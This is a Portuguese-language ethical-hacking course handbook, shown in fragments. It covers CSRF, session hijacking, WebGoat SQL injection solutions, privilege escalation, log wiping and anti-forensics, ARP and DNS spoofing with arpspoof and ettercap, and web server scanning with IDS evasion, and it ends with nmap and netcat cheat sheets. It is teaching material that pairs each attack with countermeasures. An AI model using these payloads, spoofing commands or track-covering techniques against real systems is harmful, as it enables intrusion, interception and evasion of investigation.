Semelhante a XSS (igual?) Os parmetros utilizados e o formato de ataque muito parecido com o XSS. Inclusive, o tipo de ataque CSRF surgiu a partir do XSS, quando os atacantes perceberam que a partir da chamada para execuo de script com XSS, seria possvel estender para alm a capacidade de explorao de seus ataques. Qualquer sistema vulnervel a XSS est vulnervel a XSRF Como XSS pode servir de suporte para lanar ataques do tipo CSRF, toda aplicao que vulnervel ao primeiro, pode ser explorada pelo segundo tipo de ataque. Nem toda aplicao vulnervel a XSRF est tambm vulnervel a XSS possvel utilizar filtros para minimizar ataques XSS, mas nem sempre esses filtros conseguem barrar entradas maliciosas que utilizam outras metodologias para lanar um ataque CSRF. Portanto, se a aplicao est protegida de XSS, no se pode confiar que tambm esteja protegida de CSRF. Permite alterar as informaes enviadas ao navegador. Permite ir alm dos ataques de XSS, manipulando os parmetros que so
Captulo 13 Vulnerabilidades em aplicaes web - 163 enviados ao navegador, alterando a resposta do mesmo para a vtima. Ataque client-side No afeta diretamente o servidor, que pode nem mesmo detectar que est sendo alvo de um ataque, pois as entradas maliciosas podem ser confundidas com entradas vlidas vinda do cliente acessando a aplicao. No se baseia em executar cdigo JS Enquanto o XSS baseia-se em execuo de cdigo javascript, o tipo de ataque CSRF no limita-se isso, pois pode manipular entradas, parmetros manipulados pela aplicao e etc. Baseia-se em enviar requisies com as credenciais do usurio para o servidor. Como citado anteriormente, o servidor no consegue diferenciar, perante esse tipo de ataque, o que cdigo malicioso (ou usurio ilegtimo), de uma requisio legtima vinda do usurio vlido.
Captulo 13 Vulnerabilidades em aplicaes web - 164 Sempre que quiser acessar a aplicao como admin, ter essa permisso, como se houvesse enviado uma requisio vlida, baseada em um objeto referenciado e maneira insegura. Abaixo temos outro exemplo de falha com essa vulnerabilidade...
Permite explorar quando o desenvolvedor confia em allow_url_fopen: Local File Include Possibilidades: Acessar Arquivos do Sistema Operacional Enquadra-se em Information Leak Obter lista de usurios (/etc/passwd) Obter informaes do servidor (Ex: /proc/*) Obter informaes de configuraes (Ex: /etc/resolv.conf) (BONUS) Permite executar comandos (AVANADO) Permite obter senha de acesso ao servidor
Captulo 13 Vulnerabilidades em aplicaes web - 165 A sesso, session em ingls, tem uma funo bem parecida com a do cookie, que foi explicado no tpico anterior. A sesso estabelece uma conexo entre o usurio e o servidor, sendo mais segura que o cookie. Os dados que so gravados na sesso desaparecem quando o browser fechado. Por exemplo, ao fazer um login o usurio digita seu nome e senha. Essas informaes so gravadas na sesso, e no como no cookie, em que so armazenadas em um arquivo texto. Assim, podemos navegar pelo site e as informaes s sero perdidas quando o browser for fechado. Pelo fato de no gravar as informaes em arquivos temporrios, a sesso um meio muito mais seguro de se fazer login e gravar informaes. O que cookie? Cookies so arquivos de texto que contm dados enviados pelo servidor. Quando precisamos deixar informaes gravadas no computador da pessoa que est visualizando o site, usamos os cookies. Por exemplo, um site de vendas quer deixar as informaes dos produtos que uma pessoa visualizou toda vez que ela entrar no site. Para que isso ocorra, na primeira vez que esta pessoa entrar no site, o servidor guardar as informaes dos produtos que ela olhou em um arquivo de texto, um cookie, que fica armazenado em uma pasta temporria no computador dela. Assim, da prxima vez que ela entrar nesse site, o servidor ir ler esse arquivo para listar os produtos. Como fazer um ataque sesso? Session Hijacking Atravs de falhas de XSS Atravs de Sniffer de rede (local) Atravs de cookies armazenados Session Fixation No necessrio estar logado
Captulo 13 Vulnerabilidades em aplicaes web - 166 Gera-se uma sesso para o usurio Espera-se ele autenticar e utiliza-se a sesso j conhecida.
Soluo No utilize cookies (?) Nunca armazene informaes que no podem ser modificadas: admin=false logado=false userid=1001 Nunca utilizem algoritmos prprios de gerao de tokens de cookie
Proteo contra Sequestro de Sesso por XSS A falha no est na sesso Tokens em formulrios HttpOnly Utilizar criptografia (https) Web Application Firewall
Captulo 13 Vulnerabilidades em aplicaes web - 167 dados, por exemplo, ou que trafegam ao longo dos canais de transmisso, definir quo facilmente um atacante poder ter acesso a tais informaes ao lanar um ataque de comprometimento da aplicao. Por isso, vamos ver abaixo os tipos de ataques mais utilizados para ter acesso s informaes armazenadas. Tipos de Ataques Senhas fracas Brute-force Senhas fortes Wordlist Rainbowcrack + hash sites Md5 Web Crackers - http://www.md5crack.com/
Diferenas: Brute-force Normal: 350 milhes de senhas (texto puro) por segundo. Rainbow 62.223 milhes de senhas em texto puro por segundo
Controle de sesso para acessar as pginas. Nem sempre todas as pginas de uma aplicao podem estar acessveis aos clientes que navegam por ela. Na maioria das vezes, h alguma parte da aplicao, ou sesso especfica de um site, que no pode ser acessada por todos, mas apenas por usurios cadastrados que se autentiquem atravs de algum sistema de autenticao e controle de acesso. Sem qualquer controle de permisso entre as pginas. Isso s ocorre quando todas as sesses do site so abertas a quem estiver navegando pelo mesmo. Normalmente, acontece em sites mais simples, que no manipulam informaes confidenciais. Se tiver uma sesso possvel acessar qualquer pgina. Quando h o gerenciamento de acesso e autenticao de usurios para acessar pginas, gerada uma sesso, ou cookie, com a validao do usurio. Com o usurio validado, o cliente pode acessar qualquer pgina do site de acordo com suas permisses. O que poderia ocorrer se houvesse um sequestro de sesso desse usurio validado? O atacante teria acesso todas as pginas cuja permisso do usurio possibilite! E se ainda utilizar a tcnica de session fixation? Poder acessar as pginas restritas sempre que quiser, mesmo que a sesso original do usurio expire!
Captulo 13 Vulnerabilidades em aplicaes web - 169 enviados pelo navegador. Paros Proxy - proxy que permite a captura de parmetros enviados pelo navegador. Nessus - ferramenta de varredura em busca de vulnerabilidades, baseado em plugins constantemente atualizado, escritos em NASL. Nikto - ferramenta de busca de vulnerabilidades e falhas de configurao do Webserver Apache. IEWatch - um plugin para o Microsoft Internet Explorer para analisar cabealhos de requisies HTTP e HTTPS, alm de cdigo fonte HTML. Wireshark - sniffer de rede que possibilita a anlise de protocolos e filtro de pacotes, a partir de regras personalizadas, que trafegam na rede. Wapiti - scanner de vulnerabilidade de aplicaes web, pesquisa falhas XSS, injeo de SQL e XPath, incluses de arquivo (local e remoto) a execuo de comandos, injeo LDAP e injeo CRLF. W3AF framework para auditoria e teste de invaso em aplicaes web.
Captulo 13 Vulnerabilidades em aplicaes web - 170 ele envia antes o pedido para o proxy e s ento o proxy envia o pedido para o servidor web. Posteriormente, o servidor web devolve a resposta para o proxy que devolve a resposta para o navegador web. por isso que muitos usam servidores proxys que encontram na internet para acessar um site de forma annima, pois o endereo IP que aparecer no servidor web o endereo do proxy e no o endereo real da pessoa que est usando esse proxy. Ento, o Paros e ferramentas semelhantes a ele, onde podemos citar o Webscarab, nos da a opo de editar um contedo que j partiu do navegador web, mas ainda no foi enviada para o servidor web. Isso extremamente til para passar por filtros que so criados em Java Script, j que o JavaScript executado no computador do cliente e no no servidor. Ento, basta alterar os dados quando os mesmos chegarem ao proxy (no nosso caso, o Paros Proxy). Configurando o Paros Para configurar o Paros muito simples. Basta inici-lo. Ele j vai funcionar na porta 8080 localhost. Se deseja alterar a porta, basta ir em Tools->Options->Local Proxy e alter-la. Uma vez que o Paros foi iniciado, basta usar um proxy no navegador web, seja ele IE, Firebox ou qualquer outro. Alterando as requisies Por padro o Paros no abrir uma janela esperando que editemos ou confirmemos os parmetros enviados pelo navegador. Para isso, basta selecionar a opo Trap Request na aba Trap.
Captulo 13 Vulnerabilidades em aplicaes web - 171 Acessar o endereo: http://guest:guest@127.0.0.1:8080/webgoat/attack Algumas sero explicadas pelo instrutor e outras o aluno resolver sozinho. As solues encontram-se na prpria aplicao. H um link para os vdeos com as solues na prpria aplicao, tambm, caso as dicas escritas no estejam claras.
Captulo 13 Vulnerabilidades em aplicaes web - 172 Para resolver o problema, devemos testar em todas as posies, todos os caracteres. Existem ferramentas prontas que fazem essa verificao de forma automtica. Segue a resposta para esse desafio: 101 AND (SELECT ASCII(SUBSTR(first_name,1,1)) FROM user_data WHERE userid=15613) = 74 -101 AND (SELECT ASCII(SUBSTR(first_name,2,1)) FROM user_data WHERE userid=15613) = 111 -101 AND (SELECT ASCII(SUBSTR(first_name,3,1)) FROM user_data WHERE userid=15613) = 101 -101 AND (SELECT ASCII(SUBSTR(first_name,4,1)) FROM user_data WHERE userid=15613) = 115 -101 AND (SELECT ASCII(SUBSTR(first_name,5,1)) FROM user_data WHERE userid=15613) = 112 -101 AND (SELECT ASCII(SUBSTR(first_name,6,1)) FROM user_data WHERE userid=15613) = 104 A stima letra no existe. Isso significa que a resposta possui apenas 6 caracteres. Agora, basta substituir os valores encontrados por seu respectivo caractere na tabela ASCII. Resultado: Joseph => Injection Flaws -> String SQL Injection Se inserirmos apenas o Smith, ele nos mostra a chamada e o resultado. Ento, percebemos que podemos passar um valor "VERDADEIRO" para o LAST_NAME, e ento, pegar todos os outros usurios: Smith' OR '1'='1 => Injection Flaws -> Numeric SQL Injection
Captulo 13 Vulnerabilidades em aplicaes web - 173 Basta usar o Paros, fazer a requisio e inserir : OR 1=1 Exemplo da chamada: station=101 OR 1=1 => Injection Flaws -> Stage1 -> String SQL Injection Mais uma vez, podemos resolver usando o Paros: employee_id=112&password=' OR '1'='1&action=Login
13.8. Contramedidas
Filtrar os dados do usurio, permitindo somente o conjunto de caracteres vlidos para o tipo de dado permitido. Criptografar HASHs de senhas. Utilizar SSL e HTTPS. No criar blacklists, mas sim whitelists all input is evil .....
14.1. Objetivos
Entender a elevao de privilgios Procurar por possveis alvos Entender as possibilidades de ataques locais Entender a elevao de privilgios Procurar por possveis alvos Entender as possibilidades de ataques locais
Alm de arquivos com suidroot, tambm podem ser exploradas falhas no kernel do sistema, que quem cuida dos privilgios dos usurios, e conseqentemente, ganharemos privilgios administrativos se a falha for explorada com sucesso. Portanto, aps identificarmos os arquivos que possuem esse tipo especial de permisso, precisamos identificar falhas de segurana nesses softwares. Essas falhas podem ser pblicas, ou seja, que possvel encontrar na internet, ou privada, que pode ser comprada de um pesquisador ou empresa, ou at mesmo descoberta pelo prprio atacante.
Captulo 14 Elevao de Privilgios Locais - 177 4. Acessar as informaes j com privilgio maior do que o privilgio anterior
14.5.2. Desafio 2
1. A outra tarefa, explorar o arquivo com SUID root que se encontra em uma das mquinas da rede de teste. 2. Crie um trojan local no sistema que permitir com que o atacante obtenha privilgios de root aps executar um interpretador de comando.
14.6. Contramedidas
Manter o sistema atualizado. Deixar com suidroot apenas os arquivos necessrios para o funcionamento do sistema.
20.1. Objetivos
Entender a importncia de cobrir rastros Conhecer as tcnicas para encobrir suas aes Conhecer as ferramentas empregadas
Captulo 20 Apagando Rastros - 264 Arquivos sendo executados, como backdoors, por exemplo Todo programa ou arquivo em execuo, reconhecido pelo sistema como um processo, e como um pode ser recuperado da memria. Existem vrias formas de mascarar a execuo de binrios, como por exemplo um rootkit, que substitui binrios do sistemas por seus prprios, com implementaes de cdigos maliciosos. Logs de comandos Tudo o que digitado no terminal armazenado no .bash_history do usurio, por exemplo. Mesmo que seja apagado, esse arquivo tambm pode ser recuperado pela equipe de percia forense. Logs de sesso Quando efetuamos o login e autenticamos uma sesso vlida, tudo o que ocorre na mesma armazenado em logs. Algumas organizaes possuem, inclusive, servidores exclusivos para armazenamento e gerenciamento de logs. No Linux, a maioria dos logs ficam armazenados em /var/log.
20.4. Tcnicas
Sobreescrita de dados Quando apagamos algo em um disco, os dados so apenas marcados para a deleo e no realmente apagados. Os dados marcados para a deleo, so apagados apenas quando o sistema operacional utiliza os mesmos blocos do disco para gravar novos dados, realizando a sobreescrita. Quanto mais vezes aquele mesmo setor for sobreescrito, mais difcil se tornar a recuperao das informaes originalmente existentes. Esse mtodo tambm conhecido como wipe. Preveno de criao de dados possvel, atravs da alterao de permisso em determinados arquivos, que novos dados sejam inseridos no mesmo, por exemplo. Podemos citar o caso de arquivos de log, que se tiver sua permisso alterada para negar
Captulo 20 Apagando Rastros - 265 a possibilidade de escrita nos mesmo, nenhuma nova operao ser armazenada, e o administrador do sistema no poder fazer a verificao posterior para entender o que comprometeu o sistema ou a rede. Encriptao de dados A melhor maneira de ocultar um arquivo, para que ningum veja seu contedo, ou consiga alter-lo, encriptando-o, seja atravs de uma ferramenta especfica de encriptao, seja ocultando o arquivo dentro de outro, cuja extenso e contedo sejam diversos do original. Essa ltima tcnica tambm pode ser chamada de esteganografia. Deleo segura de dados Essa tcnica est diretamente vinculada com a primeira, de sobreescrita de dados. Todo e qualquer processo de deleo de arquivos, deve ser cuidadoso, para que no seja possvel a posterior recuperao das informaes.
20.5. Ferramentas
Tor (The Onion Router) O Tor mantm o usurio livre de bisbilhoteiros, inclusive os do FBI e os da CIA, e impede (ou dificulta bastante) qualquer tipo de rastreamento. E exatamente isso que o Tor oferece. Em vez de seguir uma rota direta entre origem e destino, toda a informao transmitida por ele segue um caminho randmico, que se altera permanentemente, atravs de diversos servidores voluntrios que cobrem a rota. Fica difcil para qualquer sistema saber quem voc , onde voc est ou de onde veio, embora seja possvel saber o que voc est levando consigo. Wipe Wipe um aplicativo que permite a deleo segura de dados, permitindo que o usurio defina quais arquivos sero apagados e quantas vezes aqueles blocos de disco, onde os arquivos apagados estavam alocados,
Captulo 20 Apagando Rastros - 266 sero sobreescritos. Quanto mais vezes se sobreescreve, mais difcil a posterior recuperao dos dados. Cada operao de sobreescrita deve ser realizada at o final, para que o prorama seja completamente eficaz. Scrub Outra possibilidade para realizar o data wiping, sobrescrevendo os dados deletados com um padro determinado de informaes, que podem ou no ser removidas no final da informao. Se no forem removidas, o perito forense encontrar apenas lixo digital nos blocos do disco, sem qualquer coerncia. Steghide Steghide um programa de esteganografia que capaz de esconder dados em vrios tipos de arquivos de udio e de imagem. As frequncias de som e de cor, respectivamente, no so alteradas tornando o arquivo resistente contra testes estatsticos de primeira ordem. Formatos de arquivos JPEG, BMP, WAV e AU so suportados para uso como arquivo de "cobertura". No h restries sobre o formato dos dados secretos. O algoritmo de criptografia padro o Rijndael com uma chave de 128 bits de comprimento (que AES - Advanced Encryption Standard). Se voc no confia nesta combinao por qualquer razo, sinta-se vontade para escolher outra combinao modo/algoritmo.
20.6. Contramedidas
Instalar Host IDS em todas as mquinas Manter as regras de firewall e Network IDS bem configuradas Gerenciar logs em servidores prprios e bem protegidos Gerenciar permisses em servidores, utilizando ferramentas como o SELinux, por exemplo
21.1. Objetivo
Explorar vulnerabilidades de uma aplicao WEB e escrever um pequeno relatrio sobre as mesmas. A aplicao um site dinmico de um Banco. Conseguir acesso ao arquivo you_got_the_flag.txt, e enviar uma mensagem criptografada com a chave pblica existente no email para o instrutor, contendo os passos seguidos por voc para conseguir acesso ao arquivo.
21.2. Desafio 1
N mquina com o IP indicado pelo instrutor, h um aplicao WEB simulando o site de um banco. O objetivo do desafio explorar o mximo possvel de vulnerabilidades encontradas na aplicao, e acrescentar o resultado de suas exploraes em seu relatrio final. Esse desafio pretende simular a aplicao WEB de uma empresa real, que tenha contratado voc para realizar um teste de invaso em seu sistema, entregando um relatrio final, completo, com todos os passos do processo.
21.3. Desafio 2
Nesse desafio final, na rede alvo, que pertence empresa que lhe contratou para realizar o teste de invaso, voc precisa encontrar um arquivo chamado you_got_the_flag.txt. Nesse arquivo, encontra-se o hash MD5 de um outro arquivo, que pode estar em qualquer outra mquina da rede. Se tal arquivo for encontrado (verificando seu hash), voc precisa descobrir qual a senha que est nesse arquivo (ele cpia de um shadow). Aps descobrir a senha, necessrio que acesse uma das outras mquinas, descobrindo a qual usurio a senha descoberta pertence. Conseguindo acesso mquina, que o alvo final, encontre o arquivo you_win.png, que ter o cdigo que deve ser enviado para o instrutor, na capa do relatrio. Havero 12 arquivos you_win.png distribudos pela rede, aps descobrir o cdigo existente em um deles, apague o mesmo, para evitar repetio de cdigos entre os participantes do desafio. Happy hacking!
ANEXOS
Primeiro anexo
Opes do Nmap
TARGET SPECIFICATION Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL <inputfilename>: Input from list of hosts/networks -iR <num hosts>: Choose random targets --exclude <host1[,host2][,host3],...>: Exclude hosts/networks --excludefile <exclude_file>: Exclude list from file HOST DISCOVERY -sL: List Scan - simply list targets to scan -sP: Ping Scan - determining if host is online -P0: Treat all hosts as online -- skip host discovery -PS[portlist]: TCP SYN discovery to given ports -PA[portlist]: TCP ACK discovery to given ports -PU[portlist]: UDP discovery to given ports -PE: ICMP echo request discovery probes -PP: timestamp request discovery probes -PM: netmask request discovery probes -n/-R: Never/Always resolve DNS -default sometimes --dns-servers <serv1[,serv2],...>: Specify custom DNS servers --system-dns: Use OS's DNS resolver SCAN TECHNIQUES -sS: TCP SYN Scan -sT: Connect Scan -sA: ACK Scan -sW: Windows Scan -sM: Maimon scan -sN: TCP Null, scan -sF: FIN Scan -sX: Xmas Scan --scanflags <flags>: Customize TCP scan flags -sI <zombie host[:probeport]>: Idlescan -sO: IP protocol scan -b <ftp relay host>: FTP bounce scan PORT SPECIFICATION AND SCAN ORDER -p <port ranges>: Only scan specified ports -F: Fast - Scan only ports listed in nmap-services file) -r: Scan ports consecutively - don't randomize SERVICE/VERSION DETECTION -sV: Probe open ports determine service/version info --version-intensity <level>: Set from 0 (light) to 9 (try all probes) --version-light: Limit to most likely probes (intensity 2) --version-all: Try every single probe (intensity 9) --version-trace: Show detailed version scan activity (for debugging)
Popular / Published syntax NMAP -vv -A -sS -O -p- -P0 -oX target.xml www.xxx.yyy.zzz nmap -vv -sS -P0 p- -n --min_hostgroup 100 --max_retries 3 --max_rtt_timeout 1250 --min_parallelism 100 -oA <output_file> <net_block> nmap -vv -p <open_port_list> -sT -A -P0 -n --min_hostgroup 100 --max_rtt_timeout 1250 --min_parallelism 100 -oA <output_file> -iL liveIPList
Segundo Anexo
Opes do NetCat
Fundamentals Fundamental Netcat Client: $ nc [TargetIPaddr] [port] Connect to an arbitrary port [port] at IP Address [TargetIPaddr] Fundamental Netcat Listener: $ nc l -p [LocalPort] Create a Netcat listener on arbitrary local port [LocalPort] Both the client and listener take input from STDIN and send data received from the network to STDOUT File Transfer Push a file from client to listener: $ nc l -p [LocalPort] > [outfile] Listen on [LocalPort], store results in [outfile] $ nc w3 [TargetIPaddr] [port] < [infile] Push [infile] to [TargetIPaddr] on [port] Pull file from listener back to client: $ nc l -p [LocalPort] < [infile] Listen on [LocalPort], prep to push [infile] $ nc w3 [TargetIPaddr] [port] > [outfile] Connect to [TargetIPaddr] on [port] and retrieve [outfile] TCP Port Scanner Port scan an IP Address: $ nc v n z w1 [TargetIPaddr] [start_port]-[end_port] Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v on Linux, - vv on Windows), not resolving names (-n), without sending any data (-z), and waiting no more
15.1. Objetivos
Entender ARP Poisoning Entender os protocolos suscetveis a sniffer Entender a diferena entre HUB e Switch Entender DNS Pharming
Captulo 15 Tcnicas de Sniffing - 180 do dsniff. Abaixo temos um exemplo da sada dessa ferramenta: twm:~# macof
a4:36:c2:56:c6:c7 ba:25:93:64:4e:71 0.0.0.0.64260 > 0.0.0.0.47849: S 1144120866:1144120866(0) win 512 2b:25:e2:3d:7b:dd a4:51:7:b:69:21 0.0.0.0.31889 > 0.0.0.0.27021: S 1667257178:1667257178(0) win 512 6a:d7:cf:76:f4:ff 9e:e6:2:2b:65:c5 0.0.0.0.4668 > 0.0.0.0.13237: S 1851270478:1851270478(0) win 512 2a:71:24:7d:c:a1 61:78:48:19:9c:f8 0.0.0.0.34945 > 0.0.0.0.36192: S 1173131637:1173131637(0) win 512 7d:28:c:47:6e:ba 89:5:c9:a:34:cc 0.0.0.0.33182 > 0.0.0.0.55401: S 1510011628:1510011628(0) win 512 e4:b8:7a:49:27:1b 17:ba:37:7e:0:14 0.0.0.0.61586 > 0.0.0.0.62152: S 1862396522:1862396522(0) win 512 a4:f5:7:47:ba:c7 d:36:38:6f:56:ce 0.0.0.0.60110 > 0.0.0.0.51417: S 315306550:315306550(0) win 512 9:8e:a6:6d:8a:b4 8f:bc:10:40:2:c 0.0.0.0.61280 > 0.0.0.0.33374: S 234562279:234562279(0) win 512 8d:0:2a:3a:41:33 d4:4b:a1:b:5:f3 0.0.0.0.6333 > 0.0.0.0.14291: S 1505448208:1505448208(0) win 512
Outra tcnica que surgiu para sniffar redes com switchs a tcnica de ARP Poison, ou ARP Spoof. Quando um computador vai iniciar a comunicao com algum outro host, devido ao modo de funcionamento da pilha de protocolos, preciso traduzir seu endereo lgico (IP) no endereo fsico (MAC) do seu destinatrio, observemos abaixo. Shell1: twm:~# arp -d 192.168.2.1; ping -c 1 192.168.2.1 PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data. 64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=7.36 ms --- 192.168.2.1 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 7.365/7.365/7.365/0.000 ms twm:~#
Shell2: twm:~# tcpdump -ni eth0 host 192.168.2.1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 01:12:09.058214 arp who-has 192.168.2.1 tell 192.168.2.103 01:12:09.060366 arp reply 192.168.2.1 is-at 00:18:39:8d:aa:82
Captulo 15 Tcnicas de Sniffing - 181 01:12:09.060389 IP 192.168.2.103 > 192.168.2.1: ICMP echo request, id 18441, seq 1, length 64 01:12:09.062205 IP 192.168.2.1 > 192.168.2.103: ICMP echo reply, id 18441, seq 1, length 64 4 packets captured 7 packets received by filter 0 packets dropped by kernel twm:~#
Como observamos, para que o host 192.168.2.103 consiga se comunicar com o 192.168.2.1 para o envio do ICMP_ECHO_REQUEST (ping) necessrio saber o endereo MAC do destinatrio, ele consegue isso enviando um pacote ao endereo de broadcast fsico (FF:FF:FF:FF:FF:FF) perguntando quem o MAC daquele determinado IP, o dono do IP responde a requisio, somente aps isto a comunicao ocorre. Aps esta resoluo a maquina local coloca a resoluo em seu cache local, que pode ser visto com o comando arp, observe abaixo. twm:~# arp -an ? (192.168.2.101) at 00:1C:26:C8:42:1C [ether] on eth0 ? (192.168.2.1) at 00:18:39:8D:AA:82 [ether] on eth0 twm:~#
Baseados nisto, vocs j devem imaginar como o Windows descobre que existe conflito de IP quando iniciado. Simples, quando ele ligado ele envia por broadcast uma requisio perguntando quem o MAC do IP prprio dele, se algum computador da rede responder porque o IP j est em uso.
Captulo 15 Tcnicas de Sniffing - 182 IP_QUE_A_MAQUINA_ALVO_ESTA_SE_COMUNICANDO <===> SEU_MAC. Com isso quando a maquina alvo for montar o pacote para envio ela montara com o IP real do servidor de destino que ela quer acessar, porem utilizar SEU endereo MAC, ou seja, quando este pacote passar pelo switch o mesmo encaminhar o pacote para voc. # arpspoof -i <INTERFACE> -t <IP_DO_ALVO> <IP_QUE_SEU_ALVO_VAI_MAPEAR_PARA_SEU_MAC> # arpspoof -i eth0 -t 192.168.1.3 192.168.1.7
No exemplo acima o IP 192.168.1.3 vai adicionar/atualizar a sua tabela arp com os novos dados. Para o ataque ser 100% funcional preciso fazer o mesmo para o IP 192.168.1.7 e habilitar o forward de pacotes (echo "1" >/proc/sys/net/ipv4/ip_forward) na sua mquina, com isso o trafego entre tais hosts passar por voc e voc poder sniffar e/ou fazer ataques de MITM (Man-InThe_Middle). Comandos: # arpspoof -i eth0 -t 192.168.1.3 192.168.1.7 # arpspoof -i eth0 -t 192.168.1.7 192.168.1.3 # echo "1" > /proc/sys/net/ipv4/ip_forward
15.6.2. Ettercap
Extremamente famoso no mundo do hacking, esse sniffer capaz de capturar trafego em switch por possuir tcnicas arp spoof. Alm disso, a ferramenta composta por diversos plugins que possibilitam identificar mquina, encontrar portas abertas e finalizar conexes ativas, alm de capturar sesses de protocolos como telnet. # ettercap Tq M ARP // // # cd /usr/local/share/ettercap # vi etter.dns # ettercap Tq M ARP // // -P dns_spoof Os comandos acima realizam ARP Spoof entre todos os hosts da rede e o segundo comando realiza, alm de fazer o ARP Spoof, faz tambm o DNS Spoof. Porm, podemos executar apenas o comando ettercap. Nesse caso,
Captulo 15 Tcnicas de Sniffing - 184 necessrio explicitar uma origem e um destino para que o sniffer possa comece a atuar. Depois de realizado esse passo, basta esperar pela captura de senhas. Caso deseje conhecer as funcionalidades dos plug-ins, bastar apertar a tecla p em cima de uma conexo.
15.6.3. TCPDump
O tcpdump um dos mais, se no o mais "famoso" sniffer para sistemas GNU/Linux. Com ele podemos realizar anlises de redes e solucionar problemas. Sua utilizao simples e sem mistrios, bastando apenas ter os conhecimentos bsicos de redes TCP/IP. A instalao do tcpdump em sistemas Debian super simples, bastando executar o comando abaixo como super usurio (root): # apt-get install tcpdump
Exemplos: # tcpdump -i eth0 # tcpdump -i eth0 src host 192.168.0.9 # tcpdump -i eth0 dst host 192.168.0.1 # tcpdump -i eth0 not host 192.168.0.8 # tcpdump -i eth0 dst port 80 # tcpdump -i eth0 src port 32881 # tcpdump -ni eth0 'src net 10.10.10.0/24 and dst host 192.168.0.1 and dst port 80' # tcpdump -i eth0 -n -s 1500 -c 1000 -w file.cap
15.6.4. Wireshark
Wireshark, o bom e velho Ethereal, um poderoso sniffer, que permite capturar o trfego da rede, fornecendo uma ferramenta poderosa para detectar problemas e entender melhor o funcionamento de cada protocolo.
Para redirecionar para um site web especfico: # cd /usr/share/ettercap/ # mv -f etter.dns etter.dns.old # vim etter.dns * A xx.xx.xx.xx www(dot)test(dot)com
Explicando o contedo do arquivo: * = domnio ou ip que ser redirecionado xxx.xxx.xxx.xxx = IP do site falso www.sitefalso.com.br = URL do site falso
redirecionamento. 3. Lanar o ataque no companheiro de prtica, e depois inverter os papis, onde ser o atacante e o outro o alvo.
15.9. Contramedidas
A melhor defesa contra um sniffer de rede a criptografia. A criptografia no previne o ataque de sniffer, porm, um atacante no conseguir identificar os dados que ele capturou. Tambm existem ferramentas capazes de analisar e detectar ataques ARP. O link a seguir um vdeo do funcionamento de uma ferramenta que detecta esse ataque: http://www.colasoft.com/download/arp_flood_arp_spoofing_arp_poisoning_at tack_solution_with_capsa.php.
16.1. Objetivos
Aprender como encontrar vulnerabilidades em servidores web Conhecer diferentes as diferenas entre Apache e IIS Descobrir como explorar as vulnerabilidades encontradas
16.2.1. DoS
Jamming Networks Flooding Service Ports Misconfiguring Routers Flooding Mail Servers
16.2.2. DDoS
FTP Bounce Attacks Port Scanning Attack Ping Flooding Attack Smurf Attack SYN Flooding Attack IP Fragmentation/Overlapping Fragment Attack
Captulo 16 Ataques a Servidores WEB - 191 IP Sequence Prediction Attack DNS Cache Poisoning SNMP Attack Send Mail Attack
O grande risco de servidores WEB, que os mesmo esto 24 horas no ar, 7 dias por semana. Havendo qualquer vulnerabilidade ou erro na configurao no h dvida de que em um determinado momento ser explorado, basta contar quantas horas isso vai demorar. Alm da explorao, para conseguir acesso ao servidor e seus arquivos, temos os ataques do tipo DoS e DDoS, que causam a indisponibilidade do servio sendo executado, no permitindo acesso aos site hospedados no servidor WEB comprometido. Imagine as implicaes e prejuzos de um ataque desse tipo num servidor que hospeda um site ou servio importante, como uma loja online, por exemplo?
16.3.1. Httprint
A partir da imagem acima, usando um site qualquer como exemplo, descobrimos que, com 82.53% de certeza, o servidor sendo executado o MicrosoftIIS/6.0, e o site foi construindo usando ASP ou ASP .NET. As demais possibilidades de servidor sendo executados, so mostrados na parte inferior esquerda da tela: Microsoft-IIS/5.0, com 12.34% Microsoft-IIS/5.1, com 12,34% Apache/1.3.26, com 12,34%
Podemos adicionar o sinalizador de evaso, que tenta contornar seus sistemas de IDS: # perl nikto.pl -h www.xyz.com.br -evasion 1
Existem 9 opes diferentes para flags de evaso, 1 para Random URL encoding (non-UTF8). O instalao processo de uma fcil e descomplicado LAMP de
plataforma
(Linux,
Apache, MySQL, PHP) permite a banalizao de servidores web na internet, configurados com vistas apenas a funcionalidade, sem considerar questes relativas segurana. A insegurana do servidor web no depende exclusivamente de falhas de configurao ou os vulnerabilidades de software, muitas vezes segurana dos servio. Quem da rea com certeza j deparou-se com arquivos do tipo site.zip, senhas.txt, largados
Captulo 16 Ataques a Servidores WEB - 194 no public_html. Muitos acham que pelo fato do diretrio possuir -Indexes (desativar listagem de arquivos) o arquivo est seguro, BESTEIRA pensar assim, ainda mais se o arquivo possui nome bem conhecido, webservers scanner adoram procurar esses arquivos. O nikto permite a realizao de diversos testes, vale uma olhada no diretrio docs/ e uma lida no help: # ./nikto.pl -Help | less
Essa ferramenta um framework para auditoria e ataque em aplicaes web. Pgina do projeto: http://sourceforge.net/projects/w3af/ Vdeos: http://w3af.sourceforge.net/videos/video-demos.php
O mais interessante, que podemos personalizar os testes que essa ferramenta pode realizar, podendo utilizar, tambm, profiles previamente configurados por padro. Temos, por exemplo, o profile baseado na TOP10 OWASP, um relatrio anual das vulnerabilidades mais exploradas, lanado pelo Projeto OWASP. Outras possibilidades incluem varredura de auditoria, em busca de falhas de configurao ou sitemap, que nos retorna um mapa completa do site analisado.
O site Netcraft oferece informaes sobre as configuraes do servidor onde o site est hospedado, sobre domnios vinculados ao que est sendo pesquisado e muitas outras informaes importantes para podermos realizar um ataque com sucesso.
J o ZeroDayScan, um site que permite fazer a varredura em busca de vulnerabilidades que posam existir em sua aplicao. O que mai interessante, que quando realizamos a busca, ele tambm retorna no relatrio final, o endereo de todos os outros domnios hospedados no mesmo servidor. Quando um atacante busca acesso um servidor WEB, basta descobrir vulnerabilidades em qualquer um dos sites hospedados no mesmo e explor-las para obter sucesso em seu ataque.
Captulo 16 Ataques a Servidores WEB - 196 O nico empecilho para realizar um ataque desse tipo, que necessrio hospedar um arquivo txt como nome de zerodayscan.txt, como comentado no captulo sobre vulnerabilidades em aplicaes WEB.
16.7. Contramedidas
Realizar constantes verificaes nas configuraes de segurana dos servidores web. Atualizar constantemente os servidores. Diminuir ao mximo as informaes que so transmitidas pelos web servers s ferramentas de fingerprinting.
Captulo 18 Exploits
